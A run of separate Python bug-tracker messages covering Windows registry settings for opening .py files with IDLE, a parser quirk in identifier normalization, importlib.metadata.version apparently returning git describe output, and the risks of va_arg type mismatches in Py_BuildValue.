I did some search of previous issues and see a) that I have had more than one version listed before, but b) there have been previous issues with some missing. I don't know if #27603 has any relevance.
I discovered this when investigating the report at
https://stackoverflow.com/questions/70931009/cant-open-py-files-in-idle-on-desktop-with-python-3-10-2
For that, clicking on the submenu worked for 3.9 but not after upgrading to 3.10. Clicking for me opened the file, but there was only one choice.

Eryk Sun <eryksun at gmail.com> added the comment:
Check your settings in the registry.
In "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts" there should be a ".py" key, but not necessarily. It should have an "OpenWithList" subkey that contains an "MRUList" value (most recently used list). The value should be a sequence of letters, each of which should be a value name in the key. If the launcher was last used to open a ".py" file, the first letter in the list should be a value with the data "py.exe".
Ideally there should also be a subkey named "UserChoice" that contains a "ProgId" (programmatic identifier) value with the data "Python.File". This sets the "Python.File" ProgID as the locked-in user choice for ".py" files. In the GUI, you can set this in the open-with dialog by selecting "always use this app to open .py files". The selected app should be "Python", with an icon that contains the Python logo and a rocket (the launcher).
If ".py" isn't the locked-in user choice, the shell API will use the most recent user selection in the open-with menu. If there's no user selection, the default association is calculated from "HKCR\.py", which is a merged view of "[HKCU|HKLM]\Software\Classes\.py". The default value of "HKCR\.py" sets the default file association. Ideally it should be "Python.File".
"HKCR\Python.File" is a merged view of "[HKCU|HKLM]\Software\Classes\Python.File". For the merged view, if a value name is defined in the same subkey of HKCU and HKLM, the view prefers the HKCU value. There should be a subkey named "shell\editwithidle\shell". It should define one or more subkeys named "edit3*", such as "edit310". Each should contain a "MUIVerb" value that sets the command description in the "open-with" menu. There should also be a "command" subkey that contains the template command as its default value, e.g. ""C:\Program Files\Python310\pythonw.exe" -m idlelib "%L" %*".

> Why was it decided to not raise a syntax error...
I'm not sure if such a decision was even ever made, the error happens before normalization is applied. I.e. the parser is doing two things here: (1) validating the syntax against the grammar and (2) building the AST. Normalization happens after (1), and `???? = 0` is valid syntax because the grammar is NOT defined in terms of normalized identifiers, it's describing the valid (but confusing!) assignment that Carl described.
I agree that this doesn't seem like bug, but it IS my new favorite quirk of identifier normalization.

Message-ID: <1643676326.7.0.597528878626.issue46595@roundup.psfhosted.org>
New submission from cowlinator <cowlinator at gmail.com>:
If `importlib.metadata.version` can't find the distribution version, it seems to return the result of a local `git describe`. I don't know if this is git-specific, or which other SCMs this might try to interact with.
The result of `importlib.metadata.version` varies depending on whether the local directory happens to be a git repo.
This is unexpected and undocumented. Based on the documentation, I expected that when it couldn't find the distribution version, it would ALWAYS raise and exception or return nothing.
In order to properly document this, you'll have to figure out all of the SCMs that it might interact with.

I'm going to close this issue. The behavior might be inconsistent with 2.7, but I don't think that matters any more.

I stumbled upon the PR and tend to agree with Serhiy that this could be a source of nasty bugs. Passing the wrong type to a va_arg() argument is undefined behavior (e.g. https://wiki.sei.cmu.edu/confluence/display/c/EXP47-C.+Do+not+call+va_arg+with+an+argument+of+the+incorrect+type), and it does seem easy to do that by accident for an int-like type. For printf() compilers implement custom checks that make sure the types are right, but we don't get that luxury with Py_BuildValue(). It's also easy to make a bool yourself with the O code and Py_True/Py_False, so I don't think the additional code is worth the risk.
